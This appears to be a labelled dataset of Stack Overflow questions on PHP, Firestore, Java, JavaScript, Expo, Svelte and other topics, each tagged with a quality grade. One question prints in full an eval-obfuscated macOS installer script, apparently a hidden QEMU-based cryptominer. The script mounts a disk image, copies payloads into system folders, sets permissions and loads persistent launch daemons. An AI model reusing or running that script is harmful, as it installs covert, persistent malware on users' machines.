56,487,489 | Getting the last day of month | <p>I need to write a function which returns which day of the week is the last day of the ongoing month. I can get the last day so far but I don't know how to know which day of the week it is.</p>
| <php> | 2019-06-07 03:09:01 | LQ_CLOSE |
56,487,578 | How do I implement a write rate limit in Cloud Firestore security rules? | <p>I have an app that uses the Firebase SDK to directly talk to <a href="https://firebase.google.com/docs/firestore" rel="noreferrer">Cloud Firestore</a> from within the application. My code makes sure to only write data at reasonable intervals. But a malicious user might take the configuration data from my app, and use it to write an endless stream of data to my database.</p>
<p>How can I make sure a user can only write say once every few seconds, without having to write any server-side code.</p>
| <google-cloud-firestore><firebase-security> | 2019-06-07 03:26:02 | HQ |
56,487,764 | Which statement inserted independently at line 9 will compile? | import java.util.*;
4. class Business { }
5. class Hotel extends Business { }
6. class Inn extends Hotel { }
7. public class Travel {
8. ArrayList<Hotel> go()
{
9. // insert code here
10. }
11. }
| <java><arraylist> | 2019-06-07 03:57:08 | LQ_EDIT |
56,487,926 | Writing a function that takes date values and returns the time difference in seconds | I have to create a function that takes in two date and time values and returns the time difference between them in seconds.
This is what I have so far:
`var x = getTimeDiff((2019, 07, 04, 24, 00, 00), (2019, 06, 07, 24, 11, 00));`
`console.log(x);`
`function getTimeDiff(fdate, pdate) {`
var fSeconds = fdate.getTime();
var pSeconds = pdate.getTime();
var secondsLeft = (fSeconds - pSeconds) / 1000
return secondsLeft;
}
The first two lines of code are for me to test in my browser. I am confused as to how to enter dates in the parentheses so that they are recognized as dates. When I run the code my browser states that the getTime is not a function. How do I enter dates so that my function recognizes that I am entering a "new Date()"? Any help would be much appreciated! | <javascript> | 2019-06-07 04:21:54 | LQ_EDIT |
56,488,065 | Upgrade Expo CLI have unknown error --assetPlugins | <p>I upgrade to latest Expo CLI 2.19.2 and tried upgrade my expo application using SDK 33. </p>
<p>When I called expo start, i have a message saying: </p>
<blockquote>
<p>Opening DevTools in the browser... (press shift-d to disable) error: unknown option `--assetPlugins'</p>
<p>Metro Bundler process exited with code 1 Set EXPO_DEBUG=true in your
env to view the stack trace.</p>
</blockquote>
<p>I tried to set EXPO_DEBUG=true on Mac but doesn't show any debugging details when running expo start again.</p>
<p>I found it i should called export EXPO_DEBUG=true </p>
<p>Here is additional message:</p>
<blockquote>
<p>error: unknown option `--assetPlugins'</p>
<p>Metro Bundler process exited with code 1 Error: Metro Bundler process
exited with code 1
at ChildProcess. (/@expo/xdl@54.1.2/src/Project.js:1598:16)
at Generator.next ()
at step (/Users/simonlam/.nvm/versions/node/v11.6.0/lib/node_modules/expo-cli/node_modules/@expo/xdl/build/Project.js:2347:191)
at /Users/simonlam/.nvm/versions/node/v11.6.0/lib/node_modules/expo-cli/node_modules/@expo/xdl/build/Project.js:2347:437
at new Promise ()
at ChildProcess. (/Users/simonlam/.nvm/versions/node/v11.6.0/lib/node_modules/expo-cli/node_modules/@expo/xdl/build/Project.js:2347:99)
at ChildProcess.packagerProcess.once (/@expo/xdl@54.1.2/src/Project.js:1595:5)
at Object.onceWrapper (events.js:276:13)
at ChildProcess.emit (events.js:188:13)
at Process.ChildProcess._handle.onexit (internal/child_process.js:254:12)</p>
</blockquote>
| <react-native><sdk><expo> | 2019-06-07 04:43:01 | HQ |
56,488,202 | How to persist svelte store | <p>Is there any direct option to persist svelte store data so that even when the page is refreshed, data will be available. </p>
<p>I am not using local storage since I want the values to be reactive. </p>
| <svelte><svelte-store> | 2019-06-07 05:00:57 | HQ |
56,488,956 | why PHPMailer taking too much time to send email and also once it sent email , i got mail in spam | <p>i want to send email using user's entered email address to my email address using PHPMailer and without SMTP. But it takes too much time to send email and once it sent email i got mail in spam instead of inbox.
Below is my complete code-</p>
<pre><code><?php
session_start();
require_once 'class.phpmailer.php';
$mail = new PHPMailer;
$mail->From = $_POST['email'];
$mail->FromName ='Contacted By : '.$_POST['fname'];
$mail->addAddress("dev5.veomit@gmail.com");
$mail->addReplyTo($_POST['email'], "Reply");
$mail->isHTML(true);
$mail->Subject = "Subject Text";
$mail->Body = "<b>Name : </b>".$_POST['fname'].'<br/><b>Email Address : </b>'.$_POST['email'].'<br/><b>Message : </b>'.$_POST['msg'];
$mail->AltBody = "This is the plain text version of the email content";
if(!$mail->send())
{
echo "Mailer Error: " . $mail->ErrorInfo;
}
else
{
$_SESSION['sucess-email']='You Have Contacted Successfully.';
header("Location: https://m-expressions.com/test/voy/");
}
?>
</code></pre>
<p>Please help me solve this problem and thanks in advance.</p>
| <php><email><phpmailer> | 2019-06-07 06:23:15 | LQ_CLOSE |
56,489,425 | Requied explanation for Django views.py code | <p>I'm learning Django and it was going pretty nice until I got confused with given code.
Could someone explain me line by line what is happening there? </p>
<pre><code>from .forms import NewsLinkForm
from .models import NewsLink
class NewsLinkUpdate(View):
form_class = NewsLinkForm
template_name = 'organizer/newslink_form_update.html'
def get(self, request, pk):
newslink = get_object_or_404(NewsLink, pk=pk)
context = {
'form':self.form_class(instance=newslink),
'newslink':newslink,
}
return render(request, self.template_name, context)
def post(self,request,pk):
newslink = get_object_or_404(NewsLink, pk=pk)
bound_form = self.form_class(request.POST, instance=newslink)
if bound_form.is_valid():
new_newslink = bound_form.save()
return redirect(new_newslink)
else:
context = {
'form':bound_form,
'newslink':newslink,
}
return render(
request,
self.template_name,
context
)
</code></pre>
| <python><django><web> | 2019-06-07 07:00:49 | LQ_CLOSE |
56,489,548 | Is any way to generate a multiplataform exe/executable from a python file? | <p>I want to convert a .py file into a multiplataform (Windows, Linux,..) onefile (without librarys or other folders) executable file for using it without a Python installation.</p>
| <python><exe> | 2019-06-07 07:09:00 | LQ_CLOSE |
56,489,569 | Google apps script replyAll on existing thread without replyTo | [`google-apps-script`](https://stackoverflow.com/questions/tagged/google-apps-script)
## Scenario
* Create a one script that can send a email as per user selection on google spread sheet.
[![enter image description here][1]][1]
* Subject line prefix : "Report : ", postfix : "Current Date".
* When user going to send email first time in a day must send a new email.
* If going to send second time check subject line if already exists then must be `replyAll` to that email.
## Created Script
Link : [GitHub](https://gist.github.com/Jaydeep1434/c160c2302ca09663fc5d2f298f79f035)
* This script create a menu `onOpen` "Send Mail".
* So, when user can select some area from sheet and click on "Send Mail" button it calling `funShowAlert()` and send a email.
## Issue
* If I add `replyTo` it will generate issue for `gmail`.
* If I remove `replyTo` then, how do I perform `replyAll` from script ?
> Question : anyway to perform `replyAll` without `replyTo` _OR_ I am doing something wrong with `replyTo` ?
[1]: https://i.stack.imgur.com/sYe9r.png | <google-apps-script><gmail> | 2019-06-07 07:10:42 | LQ_EDIT |
56,489,661 | Why does Retrofit enqueue produce null point exception? | <p>I have created my own test JSON and try to incorporate it into my <code>Android</code> app using <code>Retrofit</code> but for some reason I can´t seem to understand I get a <code>Null Point Exception</code> when trying to fetch the <code>JSON</code>. </p>
<p>I have created JSON that looks something like this:</p>
<pre><code>[{"date":"2019/01/01","availability":"available"},{"date":"2019/01/02","availability":"closed"},{"date":"2019/01/03","availability":"closed"}]
</code></pre>
<p>And so on...</p>
<p>Then I have set up both the <code>Retrofit</code> code and the <code>Room</code> database code.</p>
<p>Here is the <code>Retrofit</code> code from the main class:</p>
<pre><code>public class MainActivity extends AppCompatActivity {
MainRepository mainRepository;
Call<List<RFVariables>> getRFPosts;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate( savedInstanceState );
setContentView( R.layout.activity_main );
getRFPosts = mainRepository.getGetPosts();
getRFPosts.enqueue( new Callback<List<RFVariables>>() {
@Override
public void onResponse(Call<List<RFVariables>> call, Response<List<RFVariables>> response) {
List<RFVariables> myResponse = response.body();
if(myResponse != null) {
for(RFVariables item: myResponse) {
Log.d("TAG", item.getDate());
}
}
}
@Override
public void onFailure(Call<List<RFVariables>> call, Throwable t) {
}
} );
</code></pre>
<p>It crashes on the <code>getRFPosts = mainRepository.getGetPosts();</code> line with the error <code>Attempt to invoke interface method 'void retrofit2.Call.enqueue(retrofit2.Callback)' on a null object reference
at com.slothmode.sunnyatsea.MainActivity.onCreate(MainActivity.java:25)</code></p>
<p>The repository code looks like this:</p>
<pre><code>private Retrofit retrofitObject;
private RFCalls retrofitRepository;
private Call<List<RFVariables>> getPosts;
public MainRepository(Application application) {
this.retrofitObject = new Retrofit.Builder()
.baseUrl( "https://api.myjson.com/bins/" )
.addConverterFactory( GsonConverterFactory.create() )
.build();
this.retrofitRepository = this.retrofitObject.create( RFCalls.class );
this.getPosts = this.retrofitRepository.findPosts();
}
public Call<List<RFVariables>> getGetPosts() {
return getPosts;
}
</code></pre>
<p>I have done this successfully before, so not sure what's mising this time around. Seems like an exact replica of my other successful projects. What am I missing? Let me know if there is more code I should show. Thanks in advance. Really stuck here.</p>
| <android><json><nullpointerexception><retrofit2> | 2019-06-07 07:17:55 | LQ_CLOSE |
56,490,383 | In this code, I am displaying 3 buttons and if I click the start and stop button within 1 second, then it is not showing any effects | but if i do that multiple number of times then that should result in the increment which it is not.
i want it to show the miliseconds that have passed between the simultaneous start stop buttons also
javascript code:
var secs=0;
var mins=0;
var timer;
var start=0;
var stop=0;
function add(){
secs++;
if(secs==60)
{
mins++;
secs=0;
}
if(mins==6)
{
mins=0;
secs=0;
}
display();
}
function startc(){
if(start==0)
{
timer=setInterval(add,1000);
start=1;
}
}
function stopc(){
clearInterval(timer);
start=0;
stop=1;
}
function clearc(){
secs=0;
mins=0;
clearInterval(timer);
display();
if(stop!=1)
{
start=0;
startc();
}
} | <javascript><html> | 2019-06-07 08:08:56 | LQ_EDIT |
56,491,312 | how to develope private website for a company by renting server | i want to develop a web application for some company it is home rent system and the customer data need to be stored in a server and i want to make it a website but any one can not see and use it other than the company the problem i faced is if the company had a server it will be easy since a website in intranet is not visible on the internet but they have no server and we want to rent server from some web hosting company and access the site by only the company if you understsand what i want to say please share me what shall i do? | <php><server><web-hosting> | 2019-06-07 09:09:36 | LQ_EDIT |
56,492,796 | How to split an large string to two different arrays | I'm working on a app where the user creates a large string containing consisting a and b.Now I want to split the character a to one array or string and b to another array or string.And convert them to its original form when needed.
What I'm trying to achieve is
String:abbabbaabbab.
array1:{a,a,a,a,a},
array2:{b,b,b,b,b,b}. | <java> | 2019-06-07 10:43:04 | LQ_EDIT |
56,494,381 | Create Agent Job | <p>How to Create Agent Job In SQL Server</p>
| <sql><sql-server> | 2019-06-07 12:30:05 | LQ_CLOSE |
56,494,603 | Transpose dataset and counting occurrences in R | The original dataset contains survey data in long form, like
T Q1 Q2 Q3
M1 3 5 4
M1 3 1 3
M1 1 3 1
M2 4 4 2
M2 2 2 3
M2 5 5 5
Where *T* is the type of respondents and *Q1--Q3* are the questions, and the cell value corresponds to their agreement level on a *1--5* Likert
scale.
**What I want**
T Q A1 A2 A3 A4 A5
M1 Q1 1 0 3 0 0
M2 Q1 0 1 0 1 1
M1 Q2 1 0 1 0 1
M2 Q2 0 1 0 1 1
M1 Q3 1 0 1 1 0
M2 Q3 0 1 1 0 1
Where *A1--A5* are the possible answers (1--5 Likert) and the cell value contains the frequency of these answers for each group M1 and M2.
I won
| <r><dataframe><data-manipulation> | 2019-06-07 12:43:35 | LQ_EDIT |
56,494,729 | why my code is always giving the same result i.e ' the string is not a palindrome' | <p>my code always give the same result i.e. 'the string is not a palindrome'
why is this happening?
but the reversing of string is working properly</p>
<pre><code>original = input('enter string: ')
index = len(original) - 1
reverse_string =" "
while index >= 0 :
reverse_string += original[index]
index = index - 1
print('reverse string:', reverse_string)
if (reverse_string == original):
print("it's a palindrome:")
else:
print("it's not a palindrome:")
</code></pre>
| <python><string><comparison><palindrome> | 2019-06-07 12:51:38 | LQ_CLOSE |
56,495,266 | how to speed up this double loop by vectorization in R? | I need to find the minimum distance between coordinates. Unfortunately, my data contains the coordinates in a special coordinate system and i have to calculate the distance by hand.
My double for loop (code below) is far too slow. Can someone help me vectorizing my loop?
for (i in 1:nrow(d.small)) {
cat(i, " ")
for ( j in 1:nrow(haltestelle.small)) {
diff.ost <- d.small[i, .(GKODE)] - haltestelle.small[j, .(y_Koord_Ost)]
diff.nord <- d.small[i, .(GKODN)] - haltestelle.small[j, .(x_Koord_Nord)]
dist.oev[i,1] <- min(sqrt(diff.ost^2 + diff.nord^2))
dist.oev[i,2] <- which.min(sqrt(diff.ost^2 + diff.nord^2))
}
}
| <r><data.table><vectorization> | 2019-06-07 13:26:57 | LQ_EDIT |
56,495,683 | Angular-cli 8 - Is it possible to build only on es2015? | <p>In version 8 of angular-cli, the build is done 2x. One in es5 and one in es2015.</p>
<p>Is it possible to build only on es2015?</p>
<p>Changing the target to es5, it is done only in es5 .. But I have not found a way to do it only in es2015.</p>
| <angular><angular-cli> | 2019-06-07 13:54:13 | HQ |
56,496,661 | How to remove 2 last characters with preg_replace | I have a code like : 784XX . XX could be a character or number. and i need a expression to remove the last 2 characters (XX) using ( and only ) **preg_replace**.
How can i do that?
For example, the output of :
782A3 is 782,
12122 is 121,
6542A is 654,
333CD is 333, | <php><regex><preg-replace><regex-group><substr> | 2019-06-07 14:52:53 | LQ_EDIT |
56,496,725 | Need specified regexp | https://regex101.com/r/YWgrlO/1
I have test data on the link "summer camp", "summer", "camp", me need to make a regular expression so that "summer camp" becomes the first match | <regex><regex-lookarounds> | 2019-06-07 14:56:24 | LQ_EDIT |
56,497,422 | Using jupyter R kernel with visual studio code | <p>For python jupyter notebooks I am currently using VSCode python extension. However I cannot find any way to use alternative kernels. I am interested in jupyter R kernel in particular. </p>
<p>Is there any way to work with jupyter notebooks using R kernel in VSCode?</p>
| <r><visual-studio-code><jupyter> | 2019-06-07 15:37:10 | HQ |
56,497,565 | How to mock a custom hook inside of a React component you want to test? | <p>If you have a React component that calls a custom hook that fetches data, what is the best way to mock that internal custom hook result when testing the React component? I see 2 main approaches:</p>
<p>1) Jest.mock the custom hook. This seems to be the most recommended approach, but it seems like it requires the test to have more knowledge of internal implementation details and what it might need to mock than what the props interface of the component might suggest (assuming use of prop-types or TypeScript)</p>
<p>2) Use a dependency injection approach. Declare the hook as a prop, but default it to the real hook so you don't have to set it everywhere you render the component, but allow overriding with a mock for tests. Here is a contrived codesandbox example with a test that mocks a custom hook:</p>
<p><a href="https://codesandbox.io/s/dependency-inject-custom-hook-for-testing-mjqlf?fontsize=14&module=%2Fsrc%2FApp.js" rel="noreferrer">https://codesandbox.io/s/dependency-inject-custom-hook-for-testing-mjqlf?fontsize=14&module=%2Fsrc%2FApp.js</a></p>
<p>2 requires more typing, but seems easier to work with for testing. However, tests already have to have knowledge of internal implementation details of component to test any conditional logic for rendered output, so maybe that's not important and 1 is the best approach. Is 1 the way to go? What tradeoffs do you see? Am I missing another approach altogether?</p>
| <reactjs><unit-testing><react-hooks> | 2019-06-07 15:45:44 | HQ |
56,499,033 | how to create table in database and call into php for creating a website? | I create the table in database but the data including users id/account does not record in database table. That problem issued me in a php during the creating a sign up & login page. | <php><mysql><database> | 2019-06-07 17:41:54 | LQ_EDIT |
56,499,270 | Would like to run powershell code from inside a C++ program | I want to be able to run like 30 lines of powershell script from my c++ program. I've heard it's a terrible idea, I don't care. I still would like to know how.
I just want to code directly in the c++ program, i do not want to externally call the powershell script. Is there any way to do this? If it's impossible, just say no.
For example
void runPScode() {
//command to tell compiler the following is powershell code
//a bunch of powershell code
}
Thanks!
I've looked for commands to do this and have read several 'similar' questions. | <c++><powershell> | 2019-06-07 18:02:51 | LQ_EDIT |
56,499,953 | Malicious obfuscated shell code found in package. Any way to de-obfuscate? | <p>I started analyzing a PKG file after my firewall triggered incoming connections and it looks like some sort of hidden bitcoin miner using the QEMU Emulator.
After decompiling the package I found some .SH scripts but it looks like it's been encrypted by bash-obfuscate Node.js CLI utility.
I've been searching for ways to de-obfuscate the code and see what actually happens but haven't found any answers.
Hoping someone here has more insight!</p>
<p>Code found in one of the SH files:</p>
<pre><code>z="
";REz='bin/';nDz='al/b';jDz='$z1';Ez=' -pr';YCz='mewo';KGz='ad -';SCz='R ad';Kz='F. '\''';iEz='1111';kFz='list';sFz='z22/';NFz='hDae';ABz='Volu';wz='dmg';eBz='usr/';DBz='alle';UCz='al/C';uCz='"$( ';KFz='t /L';sBz='unct';QDz='wd ';ZDz='3="$';bz='" |w';sEz='\ Su';Fz='oduc';xEz='/CCC';OGz='wd';pEz='/App';ZFz='om.$';az='=hvf';tCz='z11=';OCz='logn';LGz='w /L';wBz='5 /u';kCz='$( /';LBz='rdat';IGz='chct';fCz='/sit';gFz='Daem';vFz='333.';TGz='cow2';xz='cp -';fFz='unch';ZBz=' /us';VBz='/bin';XEz='atio';lz='til ';gBz='l/Fr';fz=' $CH';cDz='ibra';Sz='name';PDz='rand';WFz='nchD';KEz='$z2/';WBz='/chm';aFz='1.pl';iz=']';ez='if [';TEz=' /Li';CDz='="$(';oz='nove';DCz='l/sh';fEz='" "s';GGz='$z33';iBz='orks';iFz='com.';CCz='sh /';xBz='sr/l';XBz='od g';TBz='s/In';mEz='1/" ';MEz='/z3 ';Hz='sion';uBz='od -';JFz='plis';ODz='red/';FFz='2/" ';LCz='n/ch';tEz='ppor';IFz='222/';dEz='sed ';xFz='3.pl';JBz='ch $';VGz='z3.p';yz='pR /';HBz='al/';AFz='/DDD';yDz=' Sup';uFz='.$z3';OEz='chmo';GFz='2/$z';yCz='ndwd';dz='`';XCz='/Fra';oEz='rary';Pz='all_';SDz='z2="';mFz='z11/';Cz='(sw_';wEz='11';eFz='y/La';ZEz='uppo';sDz='on /';UDz='z222';qBz='h/si';NCz='-R `';EBz='r/* ';Xz='|gre';tBz='ions';HCz='-fun';Az='osve';GBz='/loc';eEz='-i "';Vz='`ps ';gEz='/AAA';rDz='daem';Wz='aux ';qEz='lica';eDz='ppli';JEz='2';oCz='/ran';PEz='d -R';jCz='z1="';qz=' $in';fDz='cati';SFz='t';KDz='1="$';WGz='fi';yFz='z33/';IDz='d )';OFz='mons';tDz='Libr';yBz='ocal';Yz='p "a';QBz='orce';gz='K -e';EDz='ers/';IBz='deta';SEz='Chmo';QCz='/chg';TCz='min ';nz='ch -';qFz='z2/"';Iz=' | a';RGz='z1.p';pBz='e/zs';dCz='in /';nCz='ared';QEz=' 700';cBz='Cell';DGz='11/$';DEz='qcow';nEz='/Lib';HFz='22';NGz='f /U';YFz='ns/c';rCz='ware';BCz='re/z';GCz='site';mz='atta';DDz=' /Us';CGz='/z11';YBz='+rwx';cFz='/TR3';bBz='cal/';sz='l_di';mCz='s/Sh';MDz='sers';aBz='r/lo';lDz='cp /';WDz='z3="';MBz='a.dm';ACz='/sha';JGz='l lo';FGz='22/$';vCz='/Use';tFz='/z3.';jFz='11.p';aCz='al/o';BEz='/$z1';vz='ata.';qCz='Soft';yEz='C/$z';BFz='D/$z';hBz='amew';vEz='1/$z';Mz='nt $';bDz='r /L';MCz='own ';EEz='2 /L';pCz='dwd ';Dz='vers';GDz='ed/r';Jz='wk -';Zz='ccel';RBz=' /Vo';LEz='$z22';rEz='tion';EFz='2222';Nz='2}'\'')';CFz='111/';Uz='CHK=';hFz='ons/';TDz='z22=';xDz='ion\';UEz='brar';AEz='port';QGz='n';KCz='/sbi';PFz='/com';dDz='ry/A';VCz='ella';mDz='/z1 ';UFz='00/$';gCz='e-fu';Bz='rs=$';jBz='opt ';bFz='ist';XDz='z33=';HGz='laun';BBz='mes/';NDz='/Sha';iDz='ort/';XFz='aemo';tz='r/in';GEz='$z11';Tz=' $0`';LDz='( /U';pFz='2.pl';nBz='/zsh';JDz='"';cEz='z2/';hDz='Supp';aEz='rt/$';CEz='1';Rz='`dir';FBz='/usr';MGz='rm -';wCz='rs/S';UGz='z3';BGz='4 /L';HDz='andw';nFz='.$z2';lCz='User';AGz='d 64';YEz='n\ S';ADz=' )"';gDz='on\ ';QFz='.$z1';sCz=' )"';ECz='are/';lEz='B/$z';iCz='ons';xCz='d/ra';wFz='3/" ';KBz='dir/';bCz='pt /';qDz='/z1.';ZCz='rks ';hCz='ncti';bEz='z1/';jEz='/" /';MFz='aunc';DFz='" /L';ICz='ctio';dFz='z1/"';aDz='mkdi';lBz='bin ';RDz=')"';SGz='z1.q';eCz='zsh ';rBz='te-f';Oz='inst';FCz='zsh/';RFz='111.';oDz='in/$';dBz='ar /';NBz='g';YDz='z333';CBz='Inst';kBz='al/s';SBz='lume';kEz='/BBB';VDz='2="$';NEz='z33';PCz='ame`';PBz='t -f';pz='rify';RCz='rp -';WCz='r /u';cCz='l/sb';FEz='$z1/';wDz='icat';VFz='/Lau';TFz='/ZY1';lFz='/TR2';mBz='hare';fBz='loca';Lz='{pri';kDz='$z2';cz='c -l';HEz='z2';oFz='222.';VEz='y/Ap';IEz='/$z2';jz='then';pDz='z1';BDz='z111';Qz='dir=';uEz='t/$z';uDz='ary/';JCz='ns';rz='stal';OBz='ejec';LFz='ry/L';Gz='tVer';UBz='ler';kz='hdiu';hz='q 1 ';oBz='shar';EGz='/z22';hEz='A/$z';vDz='Appl';FDz='Shar';PGz='z1.d';uz='lerd';rFz='22.p';vBz='R 75';WEz='plic';
eval "$Az$Bz$Cz$Dz$Ez$Fz$Gz$Hz$Iz$Jz$Kz$Lz$Mz$Nz$z$Oz$Pz$Qz$Rz$Sz$Tz$z$Uz$Vz$Wz$Xz$Yz$Zz$az$bz$cz$dz$z$ez$fz$gz$hz$iz$z$jz$z$kz$lz$mz$nz$oz$pz$qz$rz$sz$tz$rz$uz$vz$wz$z$xz$yz$ABz$BBz$CBz$DBz$EBz$FBz$GBz$HBz$z$kz$lz$IBz$JBz$Oz$Pz$KBz$Oz$DBz$LBz$MBz$NBz$z$kz$lz$OBz$PBz$QBz$RBz$SBz$TBz$rz$UBz$z$VBz$WBz$XBz$YBz$ZBz$aBz$bBz$cBz$dBz$eBz$fBz$gBz$hBz$iBz$ZBz$aBz$bBz$jBz$FBz$GBz$kBz$lBz$FBz$GBz$kBz$mBz$nBz$ZBz$aBz$bBz$oBz$pBz$qBz$rBz$sBz$tBz$z$VBz$WBz$uBz$vBz$wBz$xBz$yBz$ACz$BCz$CCz$eBz$fBz$DCz$ECz$FCz$GCz$HCz$ICz$JCz$z$FBz$KCz$LCz$MCz$NCz$OCz$PCz$ZBz$aBz$bBz$cBz$dBz$eBz$fBz$gBz$hBz$iBz$ZBz$aBz$bBz$jBz$FBz$GBz$kBz$lBz$FBz$GBz$kBz$mBz$nBz$ZBz$aBz$bBz$oBz$pBz$qBz$rBz$sBz$tBz$z$FBz$VBz$QCz$RCz$SCz$TCz$FBz$GBz$UCz$VCz$WCz$xBz$yBz$XCz$YCz$ZCz$FBz$GBz$aCz$bCz$eBz$fBz$cCz$dCz$eBz$fBz$DCz$ECz$eCz$FBz$GBz$kBz$mBz$nBz$fCz$gCz$hCz$iCz$z$jCz$kCz$lCz$mCz$nCz$oCz$pCz$qCz$rCz$sCz$z$tCz$uCz$vCz$wCz$mBz$xCz$yCz$ADz$z$BDz$CDz$DDz$EDz$FDz$GDz$HDz$IDz$JDz$z$BDz$KDz$LDz$MDz$NDz$ODz$PDz$QDz$RDz$z$SDz$kCz$lCz$mCz$nCz$oCz$pCz$qCz$rCz$sCz$z$TDz$uCz$vCz$wCz$mBz$xCz$yCz$ADz$z$UDz$CDz$DDz$EDz$FDz$GDz$HDz$IDz$JDz$z$UDz$VDz$LDz$MDz$NDz$ODz$PDz$QDz$RDz$z$WDz$kCz$lCz$mCz$nCz$oCz$pCz$sCz$z$XDz$uCz$vCz$wCz$mBz$xCz$yCz$ADz$z$YDz$ZDz$LDz$MDz$NDz$ODz$PDz$QDz$RDz$z$aDz$bDz$cDz$dDz$eDz$fDz$gDz$hDz$iDz$jDz$z$aDz$bDz$cDz$dDz$eDz$fDz$gDz$hDz$iDz$kDz$z$lDz$lCz$mCz$nCz$mDz$FBz$GBz$nDz$oDz$pDz$z$lDz$lCz$mCz$nCz$qDz$rDz$sDz$tDz$uDz$vDz$wDz$xDz$yDz$AEz$BEz$BEz$CEz$z$lDz$lCz$mCz$nCz$qDz$DEz$EEz$cDz$dDz$eDz$fDz$gDz$hDz$iDz$FEz$GEz$CEz$z$lDz$lCz$mCz$nCz$mDz$FBz$GBz$nDz$oDz$HEz$z$lDz$lCz$mCz$nCz$qDz$rDz$sDz$tDz$uDz$vDz$wDz$xDz$yDz$AEz$IEz$IEz$JEz$z$lDz$lCz$mCz$nCz$qDz$DEz$EEz$cDz$dDz$eDz$fDz$gDz$hDz$iDz$KEz$LEz$JEz$z$lDz$lCz$mCz$nCz$MEz$FBz$GBz$nDz$oDz$NEz$z$OEz$PEz$QEz$ZBz$aBz$bBz$REz$jDz$z$OEz$PEz$QEz$ZBz$aBz$bBz$REz$kDz$z$SEz$PEz$QEz$TEz$UEz$VEz$WEz$XEz$YEz$ZEz$aEz$bEz$z$SEz$PEz$QEz$TEz$UEz$VEz$WEz$XEz$YEz$ZEz$aEz$cEz$z$dEz$eEz$fEz$gEz$hEz$iEz$jEz$tDz$uDz$vDz$wDz$xDz$yDz$AEz$BEz$BEz$CEz$z$dEz$eEz$fEz$kEz$lEz$mEz$nEz$oEz$pEz$qEz$rEz$sEz$tEz$uEz$vEz$wEz$z$dEz$eEz$fEz$xEz$yEz$mEz$nEz$oEz$pEz$qEz$rEz$sEz$tEz$uEz$vEz$wEz$z$dEz$eEz$fEz$AFz$BFz$CFz$DFz$cDz$dDz$eDz$fDz$gDz$hDz$iDz$FEz$GEz$z$dEz$eEz$fEz$gEz$hEz$EFz$jEz$tDz$uDz$vDz$wDz$xDz$yDz$AEz$IEz$IEz$JEz$z$dEz$eEz$fEz$kEz$lEz$FFz$nEz$oEz$pEz$qEz$rEz$sEz$tEz$uEz$GFz$HFz$z$dEz$eEz$fEz$xEz$yEz$FFz$nEz$oEz$pEz$qEz$rEz$sEz$tEz$uEz$GFz$HFz$z$dEz$eEz$fEz$AFz$BFz$IFz$DFz$cDz$dDz$eDz$fDz$gDz$hDz$iDz$KEz$LEz$z$lDz$lCz$mCz$nCz$qDz$JFz$KFz$cDz$LFz$MFz$NFz$OFz$PFz$QFz$RFz$JFz$SFz$z$dEz$eEz$fEz$TFz$UFz$BDz$mEz$nEz$oEz$VFz$WFz$XFz$YFz$ZFz$BDz$aFz$bFz$z$dEz$eEz$fEz$cFz$UFz$dFz$TEz$UEz$eFz$fFz$gFz$hFz$iFz$GEz$jFz$kFz$z$dEz$eEz$fEz$lFz$UFz$mFz$DFz$cDz$LFz$MFz$NFz$OFz$PFz$QFz$RFz$JFz$SFz$z$lDz$lCz$mCz$nCz$qDz$JFz$KFz$cDz$LFz$MFz$NFz$OFz$PFz$nFz$oFz$JFz$SFz$z$dEz$eEz$fEz$TFz$UFz$UDz$FFz$nEz$oEz$VFz$WFz$XFz$YFz$ZFz$UDz$pFz$bFz$z$dEz$eEz$fEz$cFz$UFz$qFz$TEz$UEz$eFz$fFz$gFz$hFz$iFz$LEz$rFz$kFz$z$dEz$eEz$fEz$lFz$UFz$sFz$DFz$cDz$LFz$MFz$NFz$OFz$PFz$nFz$oFz$JFz$SFz$z$lDz$lCz$mCz$nCz$tFz$JFz$KFz$cDz$LFz$MFz$NFz$OFz$PFz$uFz$vFz$JFz$SFz$z$dEz$eEz$fEz$TFz$UFz$YDz$wFz$nEz$oEz$VFz$WFz$XFz$YFz$ZFz$YDz$xFz$bFz$z$dEz$eEz$fEz$lFz$UFz$yFz$DFz$cDz$LFz$MFz$NFz$OFz$PFz$uFz$vFz$JFz$SFz$z$OEz$AGz$BGz$cDz$LFz$MFz$NFz$OFz$PFz$QFz$RFz$JFz$SFz$z$OEz$AGz$BGz$cDz$LFz$MFz$NFz$OFz$PFz$nFz$oFz$JFz$SFz$z$OEz$AGz$BGz$cDz$LFz$MFz$NFz$OFz$PFz$uFz$vFz$JFz$SFz$z$dEz$eEz$fEz$CGz$DGz$BDz$mEz$FBz$GBz$nDz$oDz$NEz$z$dEz$eEz$fEz$EGz$FGz$UDz$FFz$FBz$GBz$nDz$oDz$NEz$z$OEz$PEz$QEz$ZBz$aBz$bBz$REz$GGz$z$HGz$IGz$JGz$KGz$LGz$cDz$LFz$MFz$NFz$OFz$PFz$QFz$RFz$JFz$SFz$z$HGz$IGz$JGz$KGz$LGz$cDz$LFz$MFz$NFz$OFz$PFz$nFz$oFz$JFz$SFz$z$HGz$IGz$JGz$KGz$LGz$cDz$LFz$MFz$NFz$OFz$PFz$uFz$vFz$JFz$SFz$z$MGz$NGz$MDz$NDz$ODz$PDz$OGz$z$MGz$NGz$MDz$NDz$ODz$pDz$z$MGz$NGz$MDz$NDz$ODz$PGz$XFz$QGz$z$MGz$NGz$MDz$NDz$ODz$RGz$kFz$z$MGz$NGz$MDz$NDz$ODz$SGz$TGz$z$MGz$NGz$MDz$NDz$ODz$UGz$z$MGz$NGz$MDz$NDz$ODz$VGz$kFz$z$WGz"
</code></pre>
| <bash><shell><sh><eval> | 2019-06-07 19:03:13 | LQ_CLOSE |
56,500,307 | What is this error >State updates from the useState() and useReducer() Hooks don't support the second callback argument.? | The sentence that i pasted in the tittle is what i got from my code, im triying to make a change over the state in an array , using hooks, this is my code.
export default function card(){
let array = [true,false]
const [change, setChange]=useState(array)
console.log(change, change.length, camchangebio[0])
function toggleIcon() {
setChange(
...change,
change[0]=!change[0]
)
console.log(change)
}
return(
</Fragment>
{ cambio[0] ? (<p>hi</p>): (<p>bye</p>)}
</Fragment>
)
}
whit this i got the firts change, i change hi to bye... but when i click it again, y got this error MyContracts.js:18
> Uncaught TypeError: change is not iterable
| <javascript><reactjs><react-hooks> | 2019-06-07 19:35:29 | LQ_EDIT |
56,500,734 | How to make a responsive sticky/fixed position (links floated right) with dropdown links? | <p>I am trying to make a responsive drop-down menu which has the following criteria; the links are floated right; the menu is responsive; and there is a drop-down menu.</p>
